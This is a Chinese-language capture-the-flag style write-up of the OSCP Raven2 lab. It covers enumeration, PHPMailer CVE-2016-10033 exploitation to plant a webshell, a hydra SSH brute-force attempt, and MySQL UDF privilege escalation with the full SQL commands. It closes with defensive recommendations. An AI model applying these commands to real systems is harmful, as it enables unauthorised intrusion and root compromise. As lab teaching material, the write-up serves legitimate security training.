OSCP靶场52——Raven2
字数 1589 2025-10-14 00:33:59

OSCP靶场52——Raven2 渗透测试教学文档

概述

Raven2是OSCP(Offensive Security Certified Professional)认证考试中的一个模拟靶场环境,本教学文档将详细解析对该靶场的完整渗透测试过程,涵盖信息收集、漏洞利用和权限提升等关键环节。

攻击链总览

  1. 信息收集:通过端口扫描和目录枚举发现服务与潜在入口点
  2. 边界突破:利用PHPMailer插件漏洞实现远程代码执行
  3. 权限提升:通过MySQL的UDF(用户定义函数)功能实现从www-data到root的提权

关键技术点

1. PHPMailer插件漏洞 (CVE-2016-10033)

  • 漏洞组件:PHPMailer 5.2.16
  • 漏洞类型:远程代码执行
  • 利用条件:存在邮件发送功能的接触页面(contact.php)
  • 利用方式:通过特殊构造的邮件参数实现代码注入

2. MySQL UDF提权

  • 前提条件
    • MySQL以root权限运行
    • 具备MySQL文件写入权限(secure_file_priv配置允许)
    • 能够创建自定义函数
  • 技术原理:通过共享库文件(15.so)创建可执行系统命令的函数

详细渗透过程

阶段一:信息收集

端口扫描

# 使用nmap进行全端口扫描
ports=$(nmap -p- --min-rate=1000 -T4 172.16.33.190| grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# 对发现的端口进行详细扫描
nmap -A -p$ports 172.16.33.190 > n1.txt

发现服务

  • 80端口:Web服务(WordPress站点)
  • 22端口:SSH服务
  • 111端口:RPC服务
  • 48407端口:未知服务(需进一步探测)

Web目录枚举

# 使用gobuster进行目录扫描
gobuster dir -u http://172.16.33.190/ -w /usr/share/dirb/wordlists/common.txt -t 10 --timeout 15s --delay 100ms

# 使用dirsearch进行文件扫描
dirsearch -u http://172.16.33.190/ -f -e php,txt,pdf,html

关键发现

  • WordPress站点路径:/wordpress/
  • PHPMailer组件:版本5.2.16(存在已知漏洞)
  • 联系页面:contact.php(邮件功能入口)

WordPress扫描

# 使用wpscan扫描WordPress漏洞
wpscan --url http://172.16.33.190/wordpress/ --enumerate vp,vt,u --api-token XXX

发现的用户

  • 两个普通用户账户(为后续SSH爆破提供用户名列表)

阶段二:边界突破

PHPMailer漏洞利用

  1. 搜索可用漏洞利用代码

    searchsploit PHPMailer
    
  2. 利用关键点

    • 目标URL:http://172.16.33.190/contact.php
    • 需要指定完整的Web根目录路径:/var/www/backdoor.php
    • 成功利用后上传Webshell
  3. 获取初始访问

    • 通过漏洞上传Webshell并获取www-data权限的reverse shell

阶段三:权限提升

用户枚举

  • 发现两个普通用户账户
  • 尝试SSH爆破(未成功):
    hydra -L username.txt -P rockyou.txt 172.16.33.190 ssh -t 32 -e nsr -vV -f
    

MySQL UDF提权过程

  1. 发现提权机会

    • MySQL进程以root权限运行
    • 具备文件写入权限
  2. 检查MySQL配置

    show variables like '%secure_file_priv%';
    
  3. 编译恶意共享库

    gcc -g -c 15.c
    gcc -g -shared -Wl,-soname,15.so -o 15.so 15.o -lc
    
  4. MySQL操作步骤

    use mysql;
    create table foo(line blob);
    insert into foo values(load_file('/tmp/15.so'));
    select * from foo into dumpfile '/usr/lib/mysql/plugin/15.so';
    create function do_sysf returns integer soname '15.so';
    select * from mysql.func;  -- 验证函数创建成功
    
  5. 执行提权

    • 通过创建的UDF函数执行系统命令
    • 反弹root权限的shell

关键知识点总结

  1. 信息收集重要性:全面的端口扫描和目录枚举是发现攻击面的基础
  2. 漏洞研究能力:需要能够快速识别和验证已知组件的安全漏洞
  3. 路径理解:Web漏洞利用时需要准确理解目标服务器的文件系统结构
  4. 数据库提权:MySQL以root权限运行且具备文件写入权限时,UDF提权是有效方法
  5. 权限链构建:从Web应用漏洞到系统级权限的完整攻击链构建

防御建议

  1. 及时更新组件:保持所有Web组件(如PHPMailer)最新版本
  2. 最小权限原则:MySQL等服务不应以root权限运行
  3. 安全配置:合理设置MySQL的secure_file_priv等安全参数
  4. 输入验证:对所有用户输入进行严格过滤和验证
  5. 网络隔离:限制不必要的网络服务和端口暴露

参考资源

  1. PHPMailer漏洞详情:https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
  2. MySQL UDF提权技术详解
  3. OSCP官方认证指南

本教学文档仅用于教育目的和安全研究,请勿用于非法用途。

OSCP靶场52——Raven2 渗透测试教学文档 概述 Raven2是OSCP(Offensive Security Certified Professional)认证考试中的一个模拟靶场环境,本教学文档将详细解析对该靶场的完整渗透测试过程,涵盖信息收集、漏洞利用和权限提升等关键环节。 攻击链总览 信息收集 :通过端口扫描和目录枚举发现服务与潜在入口点 边界突破 :利用PHPMailer插件漏洞实现远程代码执行 权限提升 :通过MySQL的UDF(用户定义函数)功能实现从www-data到root的提权 关键技术点 1. PHPMailer插件漏洞 (CVE-2016-10033) 漏洞组件 :PHPMailer 5.2.16 漏洞类型 :远程代码执行 利用条件 :存在邮件发送功能的接触页面(contact.php) 利用方式 :通过特殊构造的邮件参数实现代码注入 2. MySQL UDF提权 前提条件 : MySQL以root权限运行 具备MySQL文件写入权限(secure_ file_ priv配置允许) 能够创建自定义函数 技术原理 :通过共享库文件(15.so)创建可执行系统命令的函数 详细渗透过程 阶段一:信息收集 端口扫描 发现服务 : 80端口:Web服务(WordPress站点) 22端口:SSH服务 111端口:RPC服务 48407端口:未知服务(需进一步探测) Web目录枚举 关键发现 : WordPress站点路径:/wordpress/ PHPMailer组件:版本5.2.16(存在已知漏洞) 联系页面:contact.php(邮件功能入口) WordPress扫描 发现的用户 : 两个普通用户账户(为后续SSH爆破提供用户名列表) 阶段二:边界突破 PHPMailer漏洞利用 搜索可用漏洞利用代码 : 利用关键点 : 目标URL:http://172.16.33.190/contact.php 需要指定完整的Web根目录路径:/var/www/backdoor.php 成功利用后上传Webshell 获取初始访问 : 通过漏洞上传Webshell并获取www-data权限的reverse shell 阶段三:权限提升 用户枚举 发现两个普通用户账户 尝试SSH爆破(未成功): MySQL UDF提权过程 发现提权机会 : MySQL进程以root权限运行 具备文件写入权限 检查MySQL配置 : 编译恶意共享库 : MySQL操作步骤 : 执行提权 : 通过创建的UDF函数执行系统命令 反弹root权限的shell 关键知识点总结 信息收集重要性 :全面的端口扫描和目录枚举是发现攻击面的基础 漏洞研究能力 :需要能够快速识别和验证已知组件的安全漏洞 路径理解 :Web漏洞利用时需要准确理解目标服务器的文件系统结构 数据库提权 :MySQL以root权限运行且具备文件写入权限时,UDF提权是有效方法 权限链构建 :从Web应用漏洞到系统级权限的完整攻击链构建 防御建议 及时更新组件 :保持所有Web组件(如PHPMailer)最新版本 最小权限原则 :MySQL等服务不应以root权限运行 安全配置 :合理设置MySQL的secure_ file_ priv等安全参数 输入验证 :对所有用户输入进行严格过滤和验证 网络隔离 :限制不必要的网络服务和端口暴露 参考资源 PHPMailer漏洞详情:https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html MySQL UDF提权技术详解 OSCP官方认证指南 本教学文档仅用于教育目的和安全研究,请勿用于非法用途。